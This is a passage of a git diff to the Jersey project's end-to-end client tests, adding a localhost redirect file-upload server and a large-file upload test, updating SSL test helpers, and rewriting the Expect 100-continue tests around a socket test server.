+                MyDTO dto = response.readEntity(MyDTO.class);
+                MatcherAssert.assertThat(dto, Matchers.notNullValue());
+            }
+        }
+
+        System.gc();
+        do {
+            Thread.sleep(100L);
+        } while (queueIsEmpty(queue));
+
+        c.close();
+
+    }
+
+    private static Object getClientRuntime(ClientConfig config) {
+        try {
+            Method m = ClientConfig.class.getDeclaredMethod("getRuntime");
+            m.setAccessible(true);
+            return m.invoke(config);
+        } catch (Exception e) {
+            e.printStackTrace();
+            return null;
+        }
+    }
+
+    private static boolean queueIsEmpty(ReferenceQueue queue) {
+        return queue.poll() == null;
+    }
+
+    private void addToList(Object object) {
+        list.add(new WeakReference<>(object, queue));
+    }
+
+    @XmlRootElement(name = "myDTO", namespace = "http://org.example.dtos")
+    public static class MyDTO {
+
+    }
+}
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/RedirectFileUploadServerTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/RedirectFileUploadServerTest.java
new file mode 100644
index 0000000..6155c5e
--- /dev/null
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/RedirectFileUploadServerTest.java
@@ -0,0 +1,213 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.e2e.client;
+
+import com.sun.net.httpserver.HttpExchange;
+import com.sun.net.httpserver.HttpHandler;
+import com.sun.net.httpserver.HttpServer;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.net.InetSocketAddress;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.nio.file.StandardCopyOption;
+import java.util.UUID;
+import java.util.concurrent.Executors;
+
+
+/**
+ * Server for the file upload test that redirects from /submit to /upload.
+ */
+class RedirectFileUploadServerTest {
+    private static final String UPLOAD_DIRECTORY = "target/uploads";
+    private static final String BOUNDARY_PREFIX = "boundary=";
+    private static final Path uploadDir = Paths.get(UPLOAD_DIRECTORY);
+
+    private static HttpServer server;
+
+
+    static void start(int port) throws IOException {
+        // Create upload directory if it doesn't exist
+        if (!Files.exists(uploadDir)) {
+            Files.createDirectory(uploadDir);
+        }
+
+        // Create HTTP server
+        server = HttpServer.create(new InetSocketAddress(port), 0);
+
+        // Create contexts for different endpoints
+        server.createContext("/submit", new SubmitHandler());
+        server.createContext("/upload", new UploadHandler());
+
+        // Set executor and start server
+        server.setExecutor(Executors.newFixedThreadPool(10));
+        server.start();
+        System.out.println("Server running on port " + port);
+    }
+
+    public static void stop() {
+        server.stop(0);
+    }
+
+
+    // Handler for /submit endpoint that redirects to /upload
+    static class SubmitHandler implements HttpHandler {
+        @Override
+        public void handle(HttpExchange exchange) throws IOException {
+            try {
+                if (!"POST".equals(exchange.getRequestMethod())) {
+                    sendResponse(exchange, 405, "Method Not Allowed. Only POST is supported.");
+                    return;
+                }
+
+                //discard payload - required for JDK 1.8
+                exchange.getRequestBody().readAllBytes();
+
+                // Send a 307 Temporary Redirect to /upload
+                // This preserves the POST method and body in the redirect
+                exchange.getResponseHeaders().add("Location", "/upload");
+                exchange.sendResponseHeaders(307, -1);
+            } finally {
+                exchange.close();
+            }
+        }
+    }
+
+    // Handler for /upload endpoint that processes file uploads
+    static class UploadHandler implements HttpHandler {
+        @Override
+        public void handle(HttpExchange exchange) throws IOException {
+            try {
+                if (!"POST".equals(exchange.getRequestMethod())) {
+                    sendResponse(exchange, 405, "Method Not Allowed. Only POST is supported.");
+                    return;
+                }
+
+                // Check if the request contains multipart form data
+                String contentType = exchange.getRequestHeaders().getFirst("Content-Type");
+                if (contentType == null || !contentType.startsWith("multipart/form-data")) {
+                    sendResponse(exchange, 400, "Bad Request. Content type must be multipart/form-data.");
+                    return;
+                }
+
+                // Extract boundary from content type
+                String boundary = extractBoundary(contentType);
+                if (boundary == null) {
+                    sendResponse(exchange, 400, "Bad Request. Could not determine boundary.");
+                    return;
+                }
+
+                // Process the multipart request and save the file
+                String fileName = processMultipartRequest(exchange, boundary);
+
+                if (fileName != null) {
+                    sendResponse(exchange, 200, "File uploaded successfully: " + fileName);
+                } else {
+                    sendResponse(exchange, 400, "Bad Request. No file found in request.");
+                }
+            } catch (Exception e) {
+                e.printStackTrace();
+                sendResponse(exchange, 500, "Internal Server Error: " + e.getMessage());
+            } finally {
+                exchange.close();
+                Files.deleteIfExists(uploadDir);
+            }
+        }
+
+        private String extractBoundary(String contentType) {
+            int boundaryIndex = contentType.indexOf(BOUNDARY_PREFIX);
+            if (boundaryIndex != -1) {
+                return "--" + contentType.substring(boundaryIndex + BOUNDARY_PREFIX.length());
+            }
+            return null;
+        }
+
+        private String processMultipartRequest(HttpExchange exchange, String boundary) throws IOException {
+            InputStream requestBody = exchange.getRequestBody();
+            BufferedReader reader = new BufferedReader(new InputStreamReader(requestBody, StandardCharsets.UTF_8));
+
+            String line;
+            String fileName = null;
+            Path tempFile = null;
+            boolean isFileContent = false;
+
+            // Generate a random filename for the temporary file
+            String tempFileName = UUID.randomUUID().toString();
+            tempFile = Files.createTempFile(tempFileName, ".tmp");
+
+            try (OutputStream fileOut = Files.newOutputStream(tempFile)) {
+                while ((line = reader.readLine()) != null) {
+                    // Check for the boundary
+                    if (line.startsWith(boundary)) {
+                        if (isFileContent) {
+                            // We've reached the end of the file content
+                            break;
+                        }
+
+                        // Read the next line (Content-Disposition)
+                        line = reader.readLine();
+                        if (line != null && line.startsWith("Content-Type")) {
+                            line = reader.readLine();
+                        }
+                        if (line != null && line.contains("filename=")) {
+                            // Extract filename
+                            int filenameStart = line.indexOf("filename=\"") + 10;
+                            int filenameEnd = line.indexOf("\"", filenameStart);
+                            fileName = line.substring(filenameStart, filenameEnd);
+
+                            // Skip Content-Type line and empty line
+                            reader.readLine(); // Content-Type
+//                            System.out.println(reader.readLine()); // Empty line
+                            isFileContent = true;
+                        }
+                    } else if (isFileContent) {
+                        // If we're reading file content and this line is not a boundary,
+                        // write it to the file (append a newline unless it's the first line)
+                        fileOut.write(line.getBytes(StandardCharsets.UTF_8));
+                        fileOut.write('\n');
+                    }
+                }
+            }
+
+            // If we found a file, move it from the temp location to the uploads directory
+            if (fileName != null && !fileName.isEmpty()) {
+                Path targetPath = Paths.get(UPLOAD_DIRECTORY, fileName);
+                Files.move(tempFile, targetPath, StandardCopyOption.REPLACE_EXISTING);
+                return fileName;
+            } else {
+                // If no file was found, delete the temp file
+                Files.deleteIfExists(tempFile);
+                return null;
+            }
+        }
+    }
+
+    // Helper method to send HTTP responses
+    private static void sendResponse(HttpExchange exchange, int statusCode, String response) throws IOException {
+        exchange.getResponseHeaders().set("Content-Type", "text/plain; charset=UTF-8");
+        exchange.sendResponseHeaders(statusCode, response.length());
+        try (OutputStream os = exchange.getResponseBody()) {
+            os.write(response.getBytes(StandardCharsets.UTF_8));
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/RedirectLargeFileTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/RedirectLargeFileTest.java
new file mode 100644
index 0000000..3d8b6a2
--- /dev/null
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/RedirectLargeFileTest.java
@@ -0,0 +1,113 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.e2e.client;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+
+import com.fasterxml.jackson.core.JsonFactory;
+import com.fasterxml.jackson.core.JsonGenerator;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.media.multipart.FormDataBodyPart;
+import org.glassfish.jersey.media.multipart.FormDataContentDisposition;
+import org.glassfish.jersey.media.multipart.FormDataMultiPart;
+import org.glassfish.jersey.media.multipart.MultiPartFeature;
+import org.glassfish.jersey.netty.connector.NettyConnectorProvider;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.BeforeAll;
+import org.junit.jupiter.api.Test;
+
+import java.io.FileWriter;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+
+public class RedirectLargeFileTest {
+
+    private static final int SERVER_PORT = 9997;
+    private static final String SERVER_ADDR = String.format("http://localhost:%d/submit", SERVER_PORT);
+
+    Client client() {
+        final ClientConfig config = new ClientConfig();
+        config.connectorProvider(new NettyConnectorProvider());
+        config.register(MultiPartFeature.class);
+        return ClientBuilder.newClient(config);
+    }
+
+    @BeforeAll
+    static void startServer() throws Exception{
+        RedirectFileUploadServerTest.start(SERVER_PORT);
+    }
+
+    @AfterAll
+    static void stopServer() {
+        RedirectFileUploadServerTest.stop();
+    }
+
+    @Test
+    void sendFileTest() throws Exception {
+
+        final String fileName = "bigFile.json";
+        final String path = "target/" + fileName;
+
+        final Path pathResource = Paths.get(path);
+        try {
+            final Path realFilePath = Files.createFile(pathResource.toAbsolutePath());
+
+            generateJson(realFilePath.toString(), 1000000); // 33Mb real file size
+
+            final byte[] content = Files.readAllBytes(realFilePath);
+
+            final FormDataMultiPart mp = new FormDataMultiPart();
+            mp.bodyPart(new FormDataBodyPart(FormDataContentDisposition.name(fileName).fileName(fileName).build(),
+                    content,
+                    MediaType.TEXT_PLAIN_TYPE));
+
+            try (final Response response = client().target(SERVER_ADDR).request()
+                    .post(Entity.entity(mp, MediaType.MULTIPART_FORM_DATA_TYPE))) {
+                Assertions.assertEquals(200, response.getStatus());
+            }
+        } finally {
+            Files.deleteIfExists(pathResource);
+        }
+    }
+
+    private static void generateJson(final String filePath, int recordCount) throws Exception {
+
+        try (final JsonGenerator generator = new JsonFactory().createGenerator(new FileWriter(filePath))) {
+            generator.writeStartArray();
+
+            for (int i = 0; i < recordCount; i++) {
+                generator.writeStartObject();
+                generator.writeNumberField("id", i);
+                generator.writeStringField("name", "User" + i);
+                // Add more fields as needed
+                generator.writeEndObject();
+
+                if (i % 10000 == 0) {
+                    generator.flush();
+                }
+            }
+
+            generator.writeEndArray();
+        }
+    }
+}
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/AbstractConnectorServerTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/AbstractConnectorServerTest.java
index 68199a4..426dcf1 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/AbstractConnectorServerTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/AbstractConnectorServerTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -30,11 +30,10 @@
 import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
 import org.glassfish.jersey.jnh.connector.JavaNetHttpConnectorProvider;
 
+import org.glassfish.jersey.message.internal.ReaderWriter;
 import org.junit.jupiter.api.AfterEach;
 import org.junit.jupiter.api.BeforeEach;
 
-import org.apache.commons.io.IOUtils;
-
 /**
  * SSL connector hostname verification tests.
  *
@@ -93,9 +92,9 @@
         final InputStream trustStore = SslConnectorConfigurationTest.class.getResourceAsStream(clientTrustStore());
         final InputStream keyStore = SslConnectorConfigurationTest.class.getResourceAsStream(CLIENT_KEY_STORE);
         return SslConfigurator.newInstance()
-                .trustStoreBytes(IOUtils.toByteArray(trustStore))
+                .trustStoreBytes(ReaderWriter.readFromAsBytes(trustStore))
                 .trustStorePassword("asdfgh")
-                .keyStoreBytes(IOUtils.toByteArray(keyStore))
+                .keyStoreBytes(ReaderWriter.readFromAsBytes(keyStore))
                 .keyPassword("asdfgh")
                 .createSSLContext();
     }
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/Server.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/Server.java
index 20795c3..b66ff73 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/Server.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/Server.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,9 +23,9 @@
 
 import jakarta.ws.rs.core.UriBuilder;
 
-import org.apache.commons.io.IOUtils;
 import org.glassfish.jersey.logging.LoggingFeature;
 import org.glassfish.jersey.grizzly2.httpserver.GrizzlyHttpServerFactory;
+import org.glassfish.jersey.message.internal.ReaderWriter;
 import org.glassfish.jersey.server.ResourceConfig;
 
 import org.glassfish.grizzly.http.server.HttpServer;
@@ -86,9 +86,9 @@
         SSLContextConfigurator sslContext = new SSLContextConfigurator();
 
         // set up security context
-        sslContext.setKeyStoreBytes(IOUtils.toByteArray(keyStore));  // contains server key pair
+        sslContext.setKeyStoreBytes(ReaderWriter.readFromAsBytes(keyStore));  // contains server key pair
         sslContext.setKeyStorePass("asdfgh");
-        sslContext.setTrustStoreBytes(IOUtils.toByteArray(trustStore)); // contains client certificate
+        sslContext.setTrustStoreBytes(ReaderWriter.readFromAsBytes(trustStore)); // contains client certificate
         sslContext.setTrustStorePass("asdfgh");
 
         ResourceConfig rc = new ResourceConfig();
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java
index ffb8b1f..426b494 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,33 +16,48 @@
 
 package org.glassfish.jersey.tests.e2e.client.nettyconnector;
 
-import org.eclipse.jetty.server.Handler;
-import org.eclipse.jetty.server.Request;
-import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.util.Callback;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.ClientProperties;
 import org.glassfish.jersey.client.RequestEntityProcessing;
 import org.glassfish.jersey.client.http.Expect100ContinueFeature;
 import org.glassfish.jersey.netty.connector.NettyClientProperties;
 import org.glassfish.jersey.netty.connector.NettyConnectorProvider;
-import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.AfterEach;
 import org.junit.jupiter.api.BeforeAll;
+import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.Test;
 
+import javax.net.ServerSocketFactory;
 import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.AsyncInvoker;
 import jakarta.ws.rs.client.Client;
 import jakarta.ws.rs.client.ClientBuilder;
 import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.Invocation;
+import jakarta.ws.rs.client.InvocationCallback;
 import jakarta.ws.rs.client.WebTarget;
 import jakarta.ws.rs.core.HttpHeaders;
 import jakarta.ws.rs.core.Response;
+import java.io.BufferedReader;
+import java.io.BufferedWriter;
 import java.io.IOException;
-import java.nio.ByteBuffer;
+import java.io.InputStreamReader;
+import java.io.OutputStreamWriter;
+import java.net.ServerSocket;
+import java.net.Socket;
+import java.util.HashMap;
+import java.util.Locale;
+import java.util.Map;
+import java.util.Random;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
 
 import static org.junit.jupiter.api.Assertions.assertEquals;
 import static org.junit.jupiter.api.Assertions.assertNotNull;
 import static org.junit.jupiter.api.Assertions.assertThrows;
+import static org.junit.jupiter.api.Assertions.fail;
 
 public class Expect100ContinueTest /*extends JerseyTest*/ {
 
@@ -57,187 +72,385 @@
     private static final String RESOURCE_PATH_METHOD_NOT_SUPPORTED = "fail405";
 
     private static final String ENTITY_STRING = "1234567890123456789012345678901234567890123456789012"
-           + "3456789012345678901234567890";
+            + "3456789012345678901234567890";
 
     private static final Integer portNumber = 9997;
 
-    private static Server server;
-    @BeforeAll
-    private static void startExpect100ContinueTestServer() {
-        server = new Server(portNumber);
-        server.setDefaultHandler(new Expect100ContinueTestHandler());
-        server.setDynamic(true);
-        try {
-            server.start();
-        } catch (Exception e) {
+    private static TestSocketServer server;
 
-        }
-    }
-
-    @AfterAll
-    private static void stopExpect100ContinueTestServer() {
-        try {
-            server.stop();
-        } catch (Exception e) {
-        }
-    }
+    private static Client client;
 
     @BeforeAll
-    private static void initClient() {
+    static void beforeAll() {
         final ClientConfig config = new ClientConfig();
         config.connectorProvider(new NettyConnectorProvider());
         client = ClientBuilder.newClient(config);
     }
 
-    @AfterAll
-    private static void stopClient() {
-        client.close();
+    @BeforeEach
+    void beforeEach() throws IOException {
+        server = new TestSocketServer(portNumber);
+        server.runServer();
     }
 
-    private static Client client;
+    @AfterEach
+    void afterEach() {
+        server.stop();
+    }
+
     public WebTarget target(String path) {
         return client.target(String.format("http://localhost:%d", portNumber)).path(path);
     }
 
     @Test
     public void testExpect100Continue() {
-       final Response response =  target(RESOURCE_PATH).request().post(Entity.text(ENTITY_STRING));
-       assertEquals(200, response.getStatus(), "Expected 200"); //no Expect header sent - response OK
+        final Response response = target(RESOURCE_PATH).request().post(Entity.text(ENTITY_STRING));
+        assertEquals(200, response.getStatus(), "Expected 200"); //no Expect header sent - response OK
     }
 
     @Test
     public void testExpect100ContinueChunked() {
-       final Response response =  target(RESOURCE_PATH).register(Expect100ContinueFeature.basic())
-               .property(ClientProperties.REQUEST_ENTITY_PROCESSING,
-               RequestEntityProcessing.CHUNKED).request().post(Entity.text(ENTITY_STRING));
-       assertEquals(204, response.getStatus(), "Expected 204"); //Expect header sent - No Content response
+            final Response response = target(RESOURCE_PATH).register(Expect100ContinueFeature.basic())
+                    .property(ClientProperties.REQUEST_ENTITY_PROCESSING,
+                            RequestEntityProcessing.CHUNKED)
+                    .request().post(Entity.text(ENTITY_STRING));
+            assertEquals(204, response.getStatus(), "Expected 204"); //Expect header sent - No Content response
+    }
+
+    @Test
+    public void testExpect100ContinueManyAsyncRequests() {
+
+        final Invocation.Builder requestBuilder = target(RESOURCE_PATH).register(Expect100ContinueFeature.basic())
+                .property(ClientProperties.REQUEST_ENTITY_PROCESSING,
+                        RequestEntityProcessing.CHUNKED)
+                .request();
+        final AsyncInvoker invoker =
+                requestBuilder.async();
+
+        final InvocationCallback<Response> responseCallback = new InvocationCallback<Response>() {
+            @Override
+            public void completed(Response response) {
+                assertEquals(204, response.getStatus(), "Expected 204"); //Expect header sent - No Content response
+            }
+
+            @Override
+            public void failed(Throwable throwable) {
+                fail(throwable); // should not fail
+            }
+        };
+        invoker.post(Entity.text(ENTITY_STRING), responseCallback);
+        invoker.post(Entity.text(ENTITY_STRING), responseCallback);
+        invoker.post(Entity.text(ENTITY_STRING), responseCallback);
+        invoker.post(Entity.text(ENTITY_STRING), responseCallback);
+        invoker.post(Entity.text(ENTITY_STRING), responseCallback);
+        invoker.post(Entity.text(ENTITY_STRING), responseCallback);
+
+        final Response response = requestBuilder.post(Entity.text(ENTITY_STRING));
+        assertEquals(204, response.getStatus(), "Expected 204"); //Expect header sent - No Content response
     }
 
     @Test
     public void testExpect100ContinueBuffered() {
-       final Response response =  target(RESOURCE_PATH).register(Expect100ContinueFeature.basic())
-               .property(ClientProperties.REQUEST_ENTITY_PROCESSING,
-               RequestEntityProcessing.BUFFERED).request().header(HttpHeaders.CONTENT_LENGTH, 67000L)
-               .post(Entity.text(ENTITY_STRING));
-       assertEquals(204, response.getStatus(), "Expected 204"); //Expect header sent - No Content response
+            final Response response = target(RESOURCE_PATH).register(Expect100ContinueFeature.basic())
+                    .property(ClientProperties.REQUEST_ENTITY_PROCESSING,
+                            RequestEntityProcessing.BUFFERED).request().header(HttpHeaders.CONTENT_LENGTH, 67000L)
+                    .post(Entity.text(generateStringByContentLength(67000)));
+            assertEquals(204, response.getStatus(), "Expected 204"); //Expect header sent - No Content response
     }
 
     @Test
     public void testExpect100ContinueCustomLength() {
-       final Response response =  target(RESOURCE_PATH).register(Expect100ContinueFeature.withCustomThreshold(100L))
-               .request().header(HttpHeaders.CONTENT_LENGTH, Integer.MAX_VALUE)
-               .post(Entity.text(ENTITY_STRING));
-       assertEquals(204, response.getStatus(), "Expected 204"); //Expect header sent - No Content response
+            final Response response = target(RESOURCE_PATH).register(Expect100ContinueFeature.withCustomThreshold(100L))
+                    .request().header(HttpHeaders.CONTENT_LENGTH, 200)
+                    .post(Entity.text(generateStringByContentLength(200)));
+            assertEquals(204, response.getStatus(), "Expected 204"); //Expect header sent - No Content response
     }
 
     @Test
     public void testExpect100ContinueCustomLengthWrong() {
-       final Response response =  target(RESOURCE_PATH).register(Expect100ContinueFeature.withCustomThreshold(100L))
-               .request().header(HttpHeaders.CONTENT_LENGTH, 99L)
-               .post(Entity.text(ENTITY_STRING));
-       assertEquals(200, response.getStatus(), "Expected 200"); //Expect header NOT sent - low request size
+            final Response response = target(RESOURCE_PATH).register(Expect100ContinueFeature.withCustomThreshold(100L))
+                    .request().header(HttpHeaders.CONTENT_LENGTH, 99L)
+                    .post(Entity.text(generateStringByContentLength(99)));
+            assertEquals(200, response.getStatus(), "Expected 200"); //Expect header NOT sent - low request size
     }
 
     @Test
     public void testExpect100ContinueCustomLengthProperty() {
-       final Response response =  target(RESOURCE_PATH)
-               .property(ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, 555L)
-               .property(ClientProperties.EXPECT_100_CONTINUE, Boolean.TRUE)
-               .register(Expect100ContinueFeature.withCustomThreshold(555L))
-               .request().header(HttpHeaders.CONTENT_LENGTH, 666L)
-               .post(Entity.text(ENTITY_STRING));
-       assertNotNull(response.getStatus()); //Expect header sent - No Content response
+            final Response response = target(RESOURCE_PATH)
+                    .property(ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, 555L)
+                    .property(ClientProperties.EXPECT_100_CONTINUE, Boolean.TRUE)
+                    .register(Expect100ContinueFeature.withCustomThreshold(555L))
+                    .request().header(HttpHeaders.CONTENT_LENGTH, 666L)
+                    .post(Entity.text(generateStringByContentLength(666)));
+            assertNotNull(response.getStatus()); //Expect header sent - No Content response
     }
 
     @Test
     public void testExpect100ContinueRegisterViaCustomProperty() {
-       final Response response =  target(RESOURCE_PATH)
-               .property(ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, 43L)
-               .property(ClientProperties.EXPECT_100_CONTINUE, Boolean.TRUE)
-               .request().header(HttpHeaders.CONTENT_LENGTH, 44L)
-               .post(Entity.text(ENTITY_STRING));
-       assertEquals(204, response.getStatus(), "Expected 204"); //Expect header sent - No Content response
+        final Response response = target(RESOURCE_PATH)
+                .property(ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, 43L)
+                .property(ClientProperties.EXPECT_100_CONTINUE, Boolean.TRUE)
+                .request().header(HttpHeaders.CONTENT_LENGTH, 44L)
+                .post(Entity.text(generateStringByContentLength(44)));
+        assertEquals(204, response.getStatus(), "Expected 204"); //Expect header sent - No Content response
     }
 
     @Test
     public void testExpect100ContinueNotSupported() {
-       final Response response =  target(RESOURCE_PATH_NOT_SUPPORTED)
-               .property(ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, 43L)
-               .property(ClientProperties.EXPECT_100_CONTINUE, Boolean.TRUE)
-               .request().header(HttpHeaders.CONTENT_LENGTH, 44L)
-               .post(Entity.text(ENTITY_STRING));
-       assertEquals(417, response.getStatus(), "Expected 417"); //Expectations not supported
+            final Response response = target(RESOURCE_PATH_NOT_SUPPORTED)
+                    .property(ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, 43L)
+                    .property(ClientProperties.EXPECT_100_CONTINUE, Boolean.TRUE)
+                    .request().header(HttpHeaders.CONTENT_LENGTH, 44L)
+                    .post(Entity.text(generateStringByContentLength(44)));
+            assertEquals(204, response.getStatus(),
+                    "This should re-send request without expect and obtain the 204 response code"); //Expectations not supported
     }
 
     @Test
     public void testExpect100ContinueUnauthorized() {
-       assertThrows(ProcessingException.class, () -> target(RESOURCE_PATH_UNAUTHORIZED)
-               .property(ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, 43L)
-               .property(ClientProperties.EXPECT_100_CONTINUE, Boolean.TRUE)
-               .property(NettyClientProperties.EXPECT_100_CONTINUE_TIMEOUT, 10000)
-               .request().header(HttpHeaders.CONTENT_LENGTH, 44L)
-               .post(Entity.text(ENTITY_STRING)));
+            assertThrows(ProcessingException.class, () -> target(RESOURCE_PATH_UNAUTHORIZED)
+                    .property(ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, 43L)
+                    .property(ClientProperties.EXPECT_100_CONTINUE, Boolean.TRUE)
+                    .property(NettyClientProperties.EXPECT_100_CONTINUE_TIMEOUT, 10000)
+                    .request().header(HttpHeaders.CONTENT_LENGTH, 44L)
+                    .post(Entity.text(generateStringByContentLength(44))));
     }
 
     @Test
     public void testExpect100ContinuePayloadTooLarge() {
         assertThrows(ProcessingException.class, () -> target(RESOURCE_PATH_PAYLOAD_TOO_LARGE)
-               .property(ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, 43L)
-               .property(ClientProperties.EXPECT_100_CONTINUE, Boolean.TRUE)
-               .property(NettyClientProperties.EXPECT_100_CONTINUE_TIMEOUT, 10000)
-               .request().header(HttpHeaders.CONTENT_LENGTH, 44L)
-               .post(Entity.text(ENTITY_STRING)));
+                .property(ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, 43L)
+                .property(ClientProperties.EXPECT_100_CONTINUE, Boolean.TRUE)
+                .property(NettyClientProperties.EXPECT_100_CONTINUE_TIMEOUT, 10000)
+                .request().header(HttpHeaders.CONTENT_LENGTH, 44L)
+                .post(Entity.text(generateStringByContentLength(44))));
     }
 
     @Test
     public void testExpect100ContinueMethodNotSupported() {
-        assertThrows(ProcessingException.class, () -> target(RESOURCE_PATH_METHOD_NOT_SUPPORTED)
-               .property(ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, 43L)
-               .property(ClientProperties.EXPECT_100_CONTINUE, Boolean.TRUE)
-               .property(NettyClientProperties.EXPECT_100_CONTINUE_TIMEOUT, 10000)
-               .request().header(HttpHeaders.CONTENT_LENGTH, 44L)
-               .post(Entity.text(ENTITY_STRING)));
+            assertThrows(ProcessingException.class, () ->  target(RESOURCE_PATH_METHOD_NOT_SUPPORTED)
+                    .property(ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, 43L)
+                    .property(ClientProperties.EXPECT_100_CONTINUE, Boolean.TRUE)
+                    .property(NettyClientProperties.EXPECT_100_CONTINUE_TIMEOUT, 10000)
+                    .request().header(HttpHeaders.CONTENT_LENGTH, 44L)
+                    .post(Entity.text(generateStringByContentLength(44))));
+
     }
 
-    static class Expect100ContinueTestHandler extends Handler.Abstract {
-        @Override
-        public boolean handle(Request request,
-                              org.eclipse.jetty.server.Response response,
-                              Callback callback) throws IOException {
-            boolean expected = request.getHeaders().contains("Expect");
-            boolean failed = false;
-            final String target = request.getHttpURI().getCanonicalPath();
-            if (target.equals("/" + RESOURCE_PATH_NOT_SUPPORTED)) {
-                response.setStatus(417);
-                failed = true;
-            }
-            if (target.equals("/" + RESOURCE_PATH_UNAUTHORIZED)) {
-                response.setStatus(401);
-                failed = true;
-            }
-            if (target.equals("/" + RESOURCE_PATH_PAYLOAD_TOO_LARGE)) {
-                response.setStatus(413);
-                failed = true;
-            }
-            if (target.equals("/" + RESOURCE_PATH_METHOD_NOT_SUPPORTED)) {
-                response.setStatus(405);
-                failed = true;
-            }
-            if (expected && !failed) {
-                System.out.println("Expect:100-continue found, sending response header");
-                response.setStatus(204);
